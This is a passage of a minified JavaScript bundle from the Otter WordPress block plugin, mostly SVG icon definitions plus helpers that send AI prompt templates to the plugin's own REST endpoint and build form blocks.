4.9 17 5.7 17 6.5Z",stroke:"url(#paint1_linear_1036_1071)","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M3 3H10C10.3 3 10.5 3.2 10.5 3.5V9.5C10.5 9.8 10.3 10 10 10H3C2.7 10 2.5 9.8 2.5 9.5V3.5C2.5 3.2 2.7 3 3 3Z",stroke:"url(#paint2_linear_1036_1071)"}),(0,o.createElement)(r.Path,{d:"M3 12H10C10.3 12 10.5 12.2 10.5 12.5V17.5C10.5 17.8 10.3 18 10 18H3C2.7 18 2.5 17.8 2.5 17.5V12.5C2.5 12.2 2.7 12 3 12Z",stroke:"url(#paint3_linear_1036_1071)"}),(0,o.createElement)(r.Path,{d:"M13 9H17C17.3 9 17.5 9.2 17.5 9.5V17.5C17.5 17.8 17.3 18 17 18H13C12.7 18 12.5 17.8 12.5 17.5V9.5C12.5 9.2 12.7 9 13 9Z",stroke:"url(#paint4_linear_1036_1071)"}),(0,o.createElement)(r.Defs,null,(0,o.createElement)(r.LinearGradient,{id:"paint0_linear_1036_1071",x1:"10",y1:"0.99",x2:"10",y2:"19.99",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint1_linear_1036_1071",x1:"17",y1:"0.49",x2:"17",y2:"6.49",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint2_linear_1036_1071",x1:"6.5",y1:"2.5",x2:"6.5",y2:"10.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint3_linear_1036_1071",x1:"6.5",y1:"11.5",x2:"6.5",y2:"18.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint4_linear_1036_1071",x1:"15",y1:"8.5",x2:"15",y2:"18.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),ge=(e={})=>(0,o.createElement)(r.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",...e},(0,o.createElement)(r.G,{"clip-path":"url(#clip0_1028_2592)"},(0,o.createElement)("path",{d:"M20 3H4C3.45 3 3 3.45 3 4V19C3 19.55 3.45 20 4 20H11.502C12.052 20 12.502 19.55 12.502 19V12H20C20.55 12 21 11.55 21 11V4C21 3.45 20.55 3 20 3ZM11.502 19H4V12H11.502V19ZM4 4H20V11H12.502V3.82L11.502 3.64V11H4V4Z",fill:"url(#paint0_linear_1028_2592)"}),(0,o.createElement)("path",{d:"M16.8007 12.7084C16.8822 12.5432 17.1178 12.5432 17.1993 12.7084L18.1239 14.5818C18.1562 14.6474 18.2188 14.6929 18.2912 14.7034L20.3586 15.0038C20.5409 15.0303 20.6137 15.2543 20.4818 15.3829L18.9858 16.8411C18.9334 16.8922 18.9095 16.9657 18.9219 17.0378L19.275 19.0969C19.3062 19.2785 19.1156 19.4169 18.9526 19.3312L17.1034 18.359C17.0387 18.325 16.9613 18.325 16.8966 18.359L15.0474 19.3312C14.8844 19.4169 14.6938 19.2785 14.725 19.0969L15.0781 17.0378C15.0905 16.9657 15.0666 16.8922 15.0142 16.8411L13.5182 15.3829C13.3863 15.2543 13.4591 15.0303 13.6414 15.0038L15.7088 14.7034C15.7812 14.6929 15.8438 14.6474 15.8761 14.5818L16.8007 12.7084Z",fill:"url(#paint1_linear_1028_2592)"})),(0,o.createElement)(r.Defs,null,(0,o.createElement)(r.LinearGradient,{id:"paint0_linear_1028_2592",x1:"12",y1:"3",x2:"12",y2:"20",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint1_linear_1028_2592",x1:"17",y1:"12.3046",x2:"17",y2:"19.5407",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)("clipPath",{id:"clip0_1028_2592"},(0,o.createElement)("rect",{width:"18",height:"17",fill:"white",transform:"translate(3 3)"}))))},2720:function(e,t,l){var o=l(7701),a=l.n(o),n=l(5225),r=l(340),i=l(141);window.otterUtils={},window.otterUtils.blockInit=n.blockInit,window.otterUtils.icons=r,window.otterUtils.useSettings=i.Z,a()((()=>{window.oTrk=window?.tiTrk?.with("otter")}))},8510:function(e,t,l){l.d(t,{j1:function(){return p},jh:function(){return g},vb:function(){return b},el:function(){return m},C4:function(){return s},XD:function(){return c},kh:function(){return u}});var o=l(4981),a=l(6989),n=l.n(a),r=window.wp.url;function i(e){var t;return null!==(t=e)&&void 0!==t||(e={stream:!1}),async(t,l,o)=>{const a={...l,messages:l.messages.map((e=>"user"===e.role&&e.content.includes("{INSERT_TASK}")?{role:"user",content:e.content.replace("{INSERT_TASK}",t)}:e))};try{return await n()({path:(0,r.addQueryArgs)("/otter/v1/generate",{}),method:"POST",body:JSON.stringify({...null!=o?o:{},...function(e){for(let t in e)t.startsWith("otter_")&&delete e[t];return e}(a),...e})})}catch(e){var i;return{error:{code:"system",message:null!==(i=e.error?.message)&&void 0!==i?i:e.error}}}}}const s=i(),c=i({temperature:1.3,stream:!1}),d={text:"themeisle-blocks/form-input",email:"themeisle-blocks/form-input",password:"themeisle-blocks/form-input",number:"themeisle-blocks/form-input",tel:"themeisle-blocks/form-input",url:"themeisle-blocks/form-input",date:"themeisle-blocks/form-input",time:"themeisle-blocks/form-input",select:"themeisle-blocks/form-multiple-choice",checkbox:"themeisle-blocks/form-multiple-choice",radio:"themeisle-blocks/form-multiple-choice",file:"themeisle-blocks/form-file",textarea:"themeisle-blocks/form-textarea"};function u(e){try{return JSON.parse(e)}catch(e){return}}function b(e){if(!e)return[];const t=u(e);return t?t?.fields?.map((e=>{if(d?.[e.type])return(0,o.createBlock)(d[e.type],{label:e.label,placeholder:e.placeholder,helpText:e.helpText,options:e.choices?.join("\n"),allowedFileTypes:e.allowedFileTypes})})).filter(Boolean):[]}function m(e){return n()({path:(0,r.addQueryArgs)("/otter/v1/prompt",{name:e}),method:"GET"})}function p(e,t){return{...e,messages:e.messages.map((e=>"user"===e.role&&e.content.includes("{ACTION}")?{role:"user",content:e.content.replace("{ACTION}",t)}:e))}}function g(e,t){const{messages:l}=e,o=l.map((e=>e.role)).lastIndexOf("user");return-1===o?e:{...e,messages:[...l.slice(0,o),t,...l.slice(o)]}}},48:function(e,t,l){var o=l(9196);t.ZP={iconsList:["balance","battery","bookmark","briefcase","calculator","calendar","camera","chart","chartGear","check","checklist","clock","cloudDatabase","cloudDownload","cloudNetwork","compass","creditCard","database","design","diamond","disk","download","drop","favorite","fileDownload","filter","flag","folder","folders","gear","gears","gift","globe","graduation","graph","group","heart","hourglass","house","id","idea","key","lamp","link","location","lock","man","mail","medal","megaphone","message","messages","microphone","mobile","mouse","music","notification","offer","page","paperclip","pen","phone","picture","piggybank","plane","play","pointer","power","presentation","price","puzzle","refresh","repair","responsive","science","search","security","securityAlt","servers","settings","share","shield","shoppingCart","sign","siteMap","statistics","tag","telescope","trophy","university","usb","usbDrive","user","vault","wallet","warning","webpage","wifi","world","write"],icons:{balance:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1786.11,816.827c-0.656-2.722-1.644-5.309-2.966-7.695c0-0.009-0.004-0.017-0.004-0.017L1544.37,376.403 c-0.035-0.065-0.069-0.13-0.104-0.196l-0.052-0.091c-0.083-0.152-0.183-0.283-0.266-0.43c-0.073-0.122-0.152-0.244-0.222-0.365 c-0.252-0.426-0.504-0.861-0.782-1.283c-0.101-0.157-0.2-0.317-0.309-0.469c-0.191-0.283-0.404-0.544-0.604-0.813 c-0.287-0.4-0.578-0.8-0.892-1.187c-0.104-0.126-0.204-0.257-0.313-0.383c-0.257-0.313-0.535-0.604-0.805-0.9 c-0.296-0.331-0.587-0.657-0.896-0.974c-0.108-0.108-0.218-0.217-0.33-0.326c-0.331-0.326-0.679-0.635-1.022-0.943 c-0.282-0.256-0.556-0.517-0.848-0.761c-0.13-0.104-0.256-0.208-0.383-0.313c-0.404-0.326-0.821-0.626-1.234-0.93 c-0.261-0.188-0.504-0.387-0.773-0.57c-0.148-0.104-0.305-0.205-0.461-0.309c-0.435-0.283-0.883-0.543-1.331-0.804 c-0.112-0.069-0.226-0.144-0.339-0.209c-0.147-0.083-0.278-0.183-0.422-0.261c-0.013-0.009-0.03-0.013-0.043-0.021 c-0.17-0.092-0.344-0.179-0.514-0.266c-0.387-0.204-0.791-0.387-1.187-0.574c-0.526-0.248-1.052-0.496-1.591-0.717 c-0.356-0.148-0.727-0.27-1.092-0.4c-0.582-0.213-1.161-0.421-1.761-0.6c-0.392-0.117-0.791-0.204-1.183-0.305 c-0.47-0.121-0.931-0.265-1.408-0.36c-0.109-0.026-0.222-0.035-0.335-0.052c-0.426-0.087-0.861-0.139-1.291-0.2 c-0.487-0.078-0.975-0.174-1.461-0.222c0,0-0.03,0-0.044-0.004c-0.052,0-0.104,0-0.156-0.009c-0.521-0.048-1.052-0.061-1.583-0.087 c-0.443-0.018-0.882-0.057-1.321-0.057l-0.087-0.004h-0.087c-0.087,0-0.17,0-0.252,0H931.164V227.699 c46.116-13.509,79.902-56.168,79.902-106.597c0-61.246-49.829-111.075-111.075-111.075c-61.246,0-111.074,49.829-111.074,111.075 c0,50.433,33.794,93.097,79.919,106.605v132.3H283.351c0,0-0.061,0-0.091,0h-0.188h-0.043c-0.644,0-1.287,0.052-1.931,0.091 c-0.305,0.018-0.613,0.022-0.917,0.048c-0.757,0.07-1.509,0.191-2.257,0.313c-0.235,0.043-0.465,0.065-0.695,0.108 c-0.718,0.139-1.426,0.322-2.14,0.509c-0.27,0.074-0.548,0.13-0.817,0.209c-0.7,0.208-1.382,0.452-2.061,0.704 c-0.261,0.1-0.53,0.183-0.787,0.287c-0.635,0.261-1.248,0.548-1.865,0.843c-0.304,0.148-0.617,0.287-0.917,0.443 c-0.196,0.1-0.392,0.196-0.583,0.3c-0.013,0.009-0.031,0.013-0.043,0.021c-0.144,0.078-0.274,0.178-0.422,0.261 c-0.174,0.1-0.339,0.209-0.509,0.309c-0.369,0.222-0.743,0.435-1.1,0.67c-0.174,0.113-0.353,0.226-0.522,0.343 c-0.3,0.205-0.574,0.426-0.861,0.639c-0.37,0.274-0.743,0.535-1.1,0.826c-0.144,0.117-0.287,0.23-0.431,0.348 c-0.313,0.266-0.609,0.543-0.913,0.822c-0.313,0.278-0.626,0.556-0.926,0.852c-0.122,0.117-0.239,0.235-0.361,0.356 c-0.326,0.331-0.63,0.679-0.939,1.022c-0.248,0.274-0.504,0.543-0.739,0.831c-0.113,0.13-0.227,0.27-0.335,0.404 c-0.322,0.399-0.622,0.813-0.917,1.222c-0.191,0.256-0.387,0.5-0.565,0.765c-0.113,0.157-0.218,0.322-0.322,0.483 c-0.278,0.422-0.53,0.856-0.782,1.283c-0.078,0.13-0.156,0.256-0.235,0.387c-0.078,0.144-0.174,0.266-0.252,0.409l-0.052,0.091 c-0.035,0.065-0.069,0.131-0.104,0.196L16.864,809.11c-0.004,0.004-0.008,0.013-0.008,0.021c-1.322,2.387-2.309,4.974-2.965,7.695 c-0.587,2.418-0.9,4.861-0.905,7.296c0,0.013,0,0.026,0,0.039c0,148.932,121.162,270.094,270.092,270.094 c148.925,0,270.086-121.162,270.086-270.094c0-0.013-0.004-0.026-0.004-0.039c0-2.435-0.313-4.878-0.9-7.296 c-0.657-2.722-1.648-5.309-2.965-7.695c-0.004-0.009-0.004-0.017-0.004-0.017L335.862,422.336h532.974v933.441 c0,3.356,0.548,6.582,1.53,9.617c-116.218,12.348-208.584,96.527-226.327,205.889H434.676c-17.212,0-31.165,13.947-31.165,31.164 v156.36c0,17.208,13.952,31.164,31.165,31.164h930.643c17.213,0,31.164-13.956,31.164-31.164v-156.36 c0-17.217-13.951-31.164-31.164-31.164h-209.362c-17.747-109.361-110.109-193.533-226.323-205.889 c0.982-3.035,1.53-6.261,1.53-9.617V422.336h532.974L1250.715,809.11c0,0-0.005,0.013-0.009,0.021 c-1.317,2.387-2.309,4.974-2.965,7.695c-0.587,2.418-0.9,4.861-0.9,7.296c0,0.013-0.004,0.026-0.004,0.039 c0,148.932,121.161,270.094,270.086,270.094c148.931,0,270.092-121.162,270.092-270.094c0-0.013,0-0.026,0-0.039 C1787.01,821.688,1786.697,819.245,1786.11,816.827z M283.072,455.679l186.133,337.319H96.939L283.072,455.679z M283.077,1031.927 c-103.975,0-190.355-76.763-205.433-176.601h410.86C473.427,955.164,387.047,1031.927,283.077,1031.927z M851.245,121.103 c0-26.877,21.869-48.746,48.746-48.746c26.878,0,48.746,21.869,48.746,48.746c0,26.882-21.868,48.755-48.746,48.755 C873.114,169.857,851.245,147.984,851.245,121.103z M1334.155,1727.643H465.84v-94.031h206.333h455.65h206.332V1727.643z M1092.567,1571.283H707.428c18.704-83.589,97.532-145.187,192.567-145.187S1073.859,1487.694,1092.567,1571.283z M1703.061,792.998 h-372.266l186.133-337.319L1703.061,792.998z M1516.923,1031.927c-103.97,0-190.35-76.763-205.428-176.601h410.86 C1707.278,955.164,1620.898,1031.927,1516.923,1031.927z"})),battery:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M955.577,469.95c0.991-11.551-4.471-23.208-15.062-29.614c-5.422-3.281-11.499-4.721-17.316-4.527 c-11.915,0.347-22.164,7.318-27.2,17.36L616.275,915.595c-5.874,9.714-6.063,21.831-0.487,31.72s16.044,16.004,27.394,16.004 h172.294v399.955c0,14.18,9.498,26.612,23.186,30.342c2.742,0.746,5.519,1.105,8.261,1.105c10.941,0,21.356-5.729,27.104-15.504 l309.898-526.839c5.721-9.722,5.796-21.765,0.193-31.557c-5.598-9.792-16.018-15.833-27.297-15.833H955.577V469.95z M1101.838,867.882l-223.467,379.902V931.871c0-17.373-14.079-31.449-31.447-31.449H698.957l193.726-320.252v256.265 c0,17.369,14.079,31.447,31.448,31.447H1101.838z"}),(0,o.createElement)("path",{d:"M1507.236,278.071h-346.672V33.419c0-17.369-14.078-31.447-31.447-31.447H670.883 c-17.369,0-31.447,14.079-31.447,31.447v244.652H292.764c-17.369,0-31.447,14.079-31.447,31.447v1457.061 c0,17.374,14.078,31.448,31.447,31.448h1214.473c17.369,0,31.447-14.074,31.447-31.448V309.519 C1538.684,292.15,1524.605,278.071,1507.236,278.071z M702.33,64.867h395.34v213.205H702.33V64.867z M1475.789,1735.132H324.211 v-182.095h1151.578V1735.132z M1475.789,1490.143H324.211V340.966h346.672h458.234h346.672V1490.143z"})),bookmark:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1711.665,9.238H88.343c-43.62,0-79.105,35.478-79.105,79.089v1623.338 c0,43.611,35.486,79.099,79.105,79.099h1623.322c43.611,0,79.099-35.487,79.099-79.099V88.327 C1790.764,44.715,1755.276,9.238,1711.665,9.238z M1209.058,73.28h220.448v608.01l-85.529-109.984 c-5.927-7.619-15.038-12.079-24.69-12.079s-18.765,4.456-24.69,12.079l-85.538,109.988V73.28z M71.796,1711.665V88.327 c0-9.112,7.423-16.53,16.547-16.53h245.4v1656.407h-245.4C79.219,1728.203,71.796,1720.785,71.796,1711.665z M504.532,1728.203 h-108.23V71.796h108.23V1728.203z M1728.203,1711.665c0,9.12-7.418,16.538-16.538,16.538H567.09V71.796h579.409v700.058 c0,17.277,13.999,31.28,31.279,31.28h0.479c9.662,0,18.773-4.459,24.7-12.079l116.328-149.594l116.319,149.594 c5.926,7.62,15.039,12.079,24.69,12.079h0.489c17.271,0,31.278-14.003,31.278-31.28V71.796h219.602 c9.12,0,16.538,7.418,16.538,16.53V1711.665z"})),briefcase:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1709.277,268.688h-515.642c1.962-7.174,3.1-14.691,3.1-22.48v-74.93c0-47.103-38.321-85.424-85.424-85.424 H688.688c-47.103,0-85.423,38.321-85.423,85.424v74.93c0,7.789,1.137,15.306,3.1,22.48H90.723 c-47.103,0-85.424,38.321-85.424,85.424v659.412c0,47.103,38.321,85.424,85.424,85.424h43.563c-1.962,7.179-3.1,14.691-3.1,22.48 v507.295c0,47.103,38.321,85.424,85.424,85.424H1583.39c47.103,0,85.424-38.321,85.424-85.424v-507.295 c0-7.789-1.137-15.302-3.1-22.48h43.563c47.103,0,85.424-38.321,85.424-85.424V354.111 C1794.701,307.009,1756.38,268.688,1709.277,268.688z M1433.147,1036.004v62.943v54.413c0,12.395-10.085,22.479-22.479,22.479 h-47.959c-12.395,0-22.48-10.085-22.48-22.479v-54.413v-62.943v-92.919c0-12.395,10.086-22.479,22.48-22.479h47.959 c12.395,0,22.479,10.085,22.479,22.479V1036.004z M666.209,246.208v-74.93c0-12.395,10.085-22.48,22.479-22.48h422.623 c12.395,0,22.479,10.085,22.479,22.48v74.93c0,12.395-10.085,22.48-22.479,22.48H688.688 C676.294,268.688,666.209,258.602,666.209,246.208z M688.688,331.631h422.623h243.902v526.408 c-43.599,3.815-77.929,40.473-77.929,85.046v92.919H522.71v-92.919c0-44.573-34.33-81.23-77.933-85.046V331.631H688.688z M459.767,1098.947v54.413c0,12.395-10.085,22.479-22.479,22.479h-47.959c-12.395,0-22.48-10.085-22.48-22.479v-54.413v-62.943 v-92.919c0-12.395,10.085-22.479,22.48-22.479h47.959c12.395,0,22.479,10.085,22.479,22.479v92.919V1098.947z M90.723,1036.004 c-12.395,0-22.479-10.086-22.479-22.48V354.111c0-12.395,10.085-22.48,22.479-22.48h291.111v526.408 c-43.599,3.815-77.929,40.473-77.929,85.046v92.919H216.61H90.723z M1605.87,1121.428v507.295c0,12.395-10.086,22.48-22.48,22.48 H216.61c-12.395,0-22.48-10.086-22.48-22.48v-507.295c0-12.396,10.085-22.48,22.48-22.48h87.294v54.413 c0,47.103,38.321,85.424,85.424,85.424h47.959c47.102,0,85.423-38.321,85.423-85.424v-54.413h754.575v54.413 c0,47.103,38.321,85.424,85.424,85.424h47.959c47.103,0,85.423-38.321,85.423-85.424v-54.413h87.299 C1595.784,1098.947,1605.87,1109.032,1605.87,1121.428z M1731.757,1013.523c0,12.395-10.085,22.48-22.479,22.48H1583.39h-87.299 v-92.919c0-44.573-34.33-81.23-77.933-85.046V331.631h291.119c12.395,0,22.479,10.085,22.479,22.48V1013.523z"})),calculator:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1717.649,2.667H82.359C38.418,2.667,2.67,38.411,2.67,82.343v1635.298c0,43.942,35.748,79.69,79.689,79.69 h1635.29c43.933,0,79.681-35.748,79.681-79.69V82.343C1797.33,38.411,1761.582,2.667,1717.649,2.667z M1734.311,1717.642 c0,9.188-7.474,16.671-16.661,16.671H82.359c-9.196,0-16.669-7.483-16.669-16.671V82.343c0-9.183,7.473-16.656,16.669-16.656 h1635.29c9.188,0,16.661,7.473,16.661,16.656V1717.642z"}),(0,o.createElement)("path",{d:"M1537.75,136.396H250.345c-47.159,0-85.527,38.368-85.527,85.527v249.08 c0,47.159,38.368,85.527,85.527,85.527H1537.75c47.16,0,85.527-38.368,85.527-85.527v-249.08 C1623.277,174.763,1584.91,136.396,1537.75,136.396z M1560.258,471.002c0,12.41-10.102,22.507-22.508,22.507H250.345 c-12.414,0-22.507-10.098-22.507-22.507v-249.08c0-12.41,10.093-22.507,22.507-22.507H1537.75 c12.406,0,22.508,10.097,22.508,22.507V471.002z"}),(0,o.createElement)("path",{d:"M1537.75,616.548H250.345c-47.159,0-85.527,38.368-85.527,85.527v879.276 c0,47.16,38.368,85.526,85.527,85.526H1537.75c47.16,0,85.527-38.366,85.527-85.526V702.076 C1623.277,654.916,1584.91,616.548,1537.75,616.548z M1560.258,702.076v408.13h-634.7V679.568h612.192 C1550.156,679.568,1560.258,689.666,1560.258,702.076z M250.345,679.568h612.193v430.638h-634.7v-408.13 C227.838,689.666,237.931,679.568,250.345,679.568z M227.838,1581.352v-408.126h634.7v430.633H250.345 C237.931,1603.858,227.838,1593.766,227.838,1581.352z M1537.75,1603.858H925.558v-430.633h634.7v408.126 C1560.258,1593.766,1550.156,1603.858,1537.75,1603.858z"}),(0,o.createElement)("path",{d:"M416.941,932.025H514.1v97.154c0,17.403,14.111,31.511,31.51,31.511c17.408,0,31.51-14.107,31.51-31.511 v-97.154h97.158c17.408,0,31.51-14.105,31.51-31.509s-14.102-31.51-31.51-31.51H577.12v-97.159 c0-17.403-14.103-31.509-31.51-31.509c-17.399,0-31.51,14.106-31.51,31.509v97.159h-97.159c-17.398,0-31.51,14.106-31.51,31.51 S399.542,932.025,416.941,932.025z"}),(0,o.createElement)("path",{d:"M589.586,1382.164l68.7-68.7c12.309-12.304,12.309-32.258,0-44.561c-12.3-12.305-32.257-12.305-44.561,0 l-68.704,68.703l-68.7-68.703c-12.304-12.305-32.257-12.305-44.562,0c-12.304,12.303-12.304,32.257,0,44.561l68.7,68.7 l-68.7,68.698c-12.304,12.304-12.304,32.258,0,44.562c6.15,6.154,14.217,9.228,22.283,9.228c8.062,0,16.125-3.077,22.278-9.228 l68.7-68.699l68.704,68.704c6.149,6.153,14.216,9.231,22.283,9.231c8.062,0,16.124-3.078,22.278-9.231 c12.309-12.304,12.309-32.257,0-44.562L589.586,1382.164z"}),(0,o.createElement)("path",{d:"M1115.83,932.025h257.338c17.407,0,31.51-14.105,31.51-31.509s-14.103-31.51-31.51-31.51H1115.83 c-17.398,0-31.509,14.106-31.509,31.51S1098.432,932.025,1115.83,932.025z"}),(0,o.createElement)("path",{d:"M1373.168,1309.763H1115.83c-17.398,0-31.509,14.11-31.509,31.511c0,17.407,14.11,31.51,31.509,31.51 h257.338c17.407,0,31.51-14.103,31.51-31.51C1404.678,1323.873,1390.575,1309.763,1373.168,1309.763z"}),(0,o.createElement)("path",{d:"M1373.168,1399.791H1115.83c-17.398,0-31.509,14.111-31.509,31.51c0,17.408,14.11,31.51,31.509,31.51 h257.338c17.407,0,31.51-14.102,31.51-31.51C1404.678,1413.902,1390.575,1399.791,1373.168,1399.791z"})),calendar:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1704.994,208.972h-323.283V92.869c0-46.782-38.061-84.844-84.844-84.844H1164.02 c-46.783,0-84.844,38.062-84.844,84.844v116.103H720.82V92.869c0-46.782-38.061-84.844-84.844-84.844H503.129 c-46.782,0-84.844,38.062-84.844,84.844v116.103H95.006c-46.935,0-85.123,38.061-85.123,84.844v265.97v1147.346 c0,46.783,38.188,84.844,85.123,84.844h1609.988c46.932,0,85.123-38.061,85.123-84.844V559.785v-265.97 C1790.117,247.032,1751.926,208.972,1704.994,208.972z M1141.692,271.488v-62.516V92.869c0-12.311,10.013-22.327,22.327-22.327 h132.848c12.307,0,22.327,10.017,22.327,22.327v116.103v62.516v107.171c0,12.311-10.021,22.327-22.327,22.327H1164.02 c-12.314,0-22.327-10.017-22.327-22.327V271.488z M480.802,271.488v-62.516V92.869c0-12.311,10.017-22.327,22.327-22.327h132.848 c12.311,0,22.327,10.017,22.327,22.327v116.103v62.516v107.171c0,12.311-10.017,22.327-22.327,22.327H503.129 c-12.311,0-22.327-10.017-22.327-22.327V271.488z M1727.601,1707.131c0,12.307-10.144,22.328-22.606,22.328H95.006 c-12.463,0-22.606-10.021-22.606-22.328V591.043h1655.201V1707.131z M1727.601,528.526H72.4V293.815 c0-12.311,10.143-22.328,22.606-22.328h323.279v107.171c0,46.782,38.062,84.844,84.844,84.844h132.848 c46.783,0,84.844-38.062,84.844-84.844V271.488h358.355v107.171c0,46.782,38.061,84.844,84.844,84.844h132.848 c46.783,0,84.844-38.062,84.844-84.844V271.488h323.283c12.463,0,22.606,10.017,22.606,22.328V528.526z"}),(0,o.createElement)("path",{d:"M378.358,914.669h125.835c35.139,0,63.729-28.592,63.729-63.731V725.101 c0-35.142-28.589-63.731-63.729-63.731H378.358c-35.144,0-63.733,28.589-63.733,63.731v125.837 C314.625,886.077,343.214,914.669,378.358,914.669z M377.142,725.101c0-0.669,0.545-1.215,1.216-1.215h125.835 c0.667,0,1.212,0.545,1.212,1.215v125.837c0,0.669-0.545,1.212-1.212,1.212H378.358c-0.671,0-1.216-0.543-1.216-1.212V725.101z"}),(0,o.createElement)("path",{d:"M837.079,914.669h125.838c35.14,0,63.729-28.592,63.729-63.731V725.101 c0-35.142-28.589-63.731-63.729-63.731H837.079c-35.144,0-63.733,28.589-63.733,63.731v125.837 C773.346,886.077,801.936,914.669,837.079,914.669z M835.863,725.101c0-0.669,0.545-1.215,1.216-1.215h125.838 c0.671,0,1.212,0.545,1.212,1.215v125.837c0,0.669-0.541,1.212-1.212,1.212H837.079c-0.671,0-1.216-0.543-1.216-1.212V725.101z"}),(0,o.createElement)("path",{d:"M1295.803,914.669h125.836c35.147,0,63.736-28.592,63.736-63.731V725.101 c0-35.142-28.589-63.731-63.736-63.731h-125.836c-35.139,0-63.729,28.589-63.729,63.731v125.837 C1232.074,886.077,1260.664,914.669,1295.803,914.669z M1294.591,725.101c0-0.669,0.54-1.215,1.212-1.215h125.836 c0.672,0,1.221,0.545,1.221,1.215v125.837c0,0.669-0.549,1.212-1.221,1.212h-125.836c-0.654,0-1.212-0.556-1.212-1.212V725.101z"}),(0,o.createElement)("path",{d:"M378.358,1278.83h125.835c35.139,0,63.729-28.589,63.729-63.729v-125.835 c0-35.147-28.589-63.737-63.729-63.737H378.358c-35.144,0-63.733,28.59-63.733,63.737v125.835 C314.625,1250.241,343.214,1278.83,378.358,1278.83z M377.142,1089.267c0-0.676,0.545-1.221,1.216-1.221h125.835 c0.667,0,1.212,0.545,1.212,1.221v125.835c0,0.668-0.545,1.213-1.212,1.213H378.358c-0.659,0-1.216-0.559-1.216-1.213V1089.267z"}),(0,o.createElement)("path",{d:"M837.079,1278.83h125.838c35.14,0,63.729-28.589,63.729-63.729v-125.835 c0-35.147-28.589-63.737-63.729-63.737H837.079c-35.144,0-63.733,28.59-63.733,63.737v125.835 C773.346,1250.241,801.936,1278.83,837.079,1278.83z M835.863,1089.267c0-0.676,0.545-1.221,1.216-1.221h125.838 c0.671,0,1.212,0.545,1.212,1.221v125.835c0,0.654-0.558,1.213-1.212,1.213H837.079c-0.658,0-1.216-0.559-1.216-1.213V1089.267z"}),(0,o.createElement)("path",{d:"M1295.803,1278.83h125.836c35.147,0,63.736-28.589,63.736-63.729v-125.835 c0-35.147-28.589-63.737-63.736-63.737h-125.836c-35.139,0-63.729,28.59-63.729,63.737v125.835 C1232.074,1250.241,1260.664,1278.83,1295.803,1278.83z M1294.591,1089.267c0-0.676,0.54-1.221,1.212-1.221h125.836 c0.672,0,1.221,0.545,1.221,1.221v125.835c0,0.654-0.559,1.213-1.221,1.213h-125.836c-0.654,0-1.212-0.559-1.212-1.213V1089.267z"}),(0,o.createElement)("path",{d:"M378.358,1642.984h125.835c35.139,0,63.729-28.59,63.729-63.729V1453.42 c0-35.14-28.589-63.729-63.729-63.729H378.358c-35.144,0-63.733,28.589-63.733,63.729v125.835 C314.625,1614.395,343.214,1642.984,378.358,1642.984z M377.142,1453.42c0-0.672,0.545-1.213,1.216-1.213h125.835 c0.667,0,1.212,0.541,1.212,1.213v125.835c0,0.672-0.545,1.212-1.212,1.212H378.358c-0.671,0-1.216-0.54-1.216-1.212V1453.42z"}),(0,o.createElement)("path",{d:"M837.079,1642.984h125.838c35.14,0,63.729-28.59,63.729-63.729V1453.42 c0-35.14-28.589-63.729-63.729-63.729H837.079c-35.144,0-63.733,28.589-63.733,63.729v125.835 C773.346,1614.395,801.936,1642.984,837.079,1642.984z M835.863,1453.42c0-0.672,0.545-1.213,1.216-1.213h125.838 c0.671,0,1.212,0.541,1.212,1.213v125.835c0,0.672-0.541,1.212-1.212,1.212H837.079c-0.671,0-1.216-0.54-1.216-1.212V1453.42z"}),(0,o.createElement)("path",{d:"M1295.803,1642.984h125.836c35.147,0,63.736-28.59,63.736-63.729V1453.42 c0-35.14-28.589-63.729-63.736-63.729h-125.836c-35.139,0-63.729,28.589-63.729,63.729v125.835 C1232.074,1614.395,1260.664,1642.984,1295.803,1642.984z M1294.591,1453.42c0-0.672,0.54-1.213,1.212-1.213h125.836 c0.672,0,1.221,0.541,1.221,1.213v125.835c0,0.672-0.549,1.212-1.221,1.212h-125.836c-0.654,0-1.212-0.553-1.212-1.212V1453.42z"})),camera:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.996,588.254c-228.728,0-414.809,186.082-414.809,414.812c0,228.723,186.082,414.813,414.809,414.813 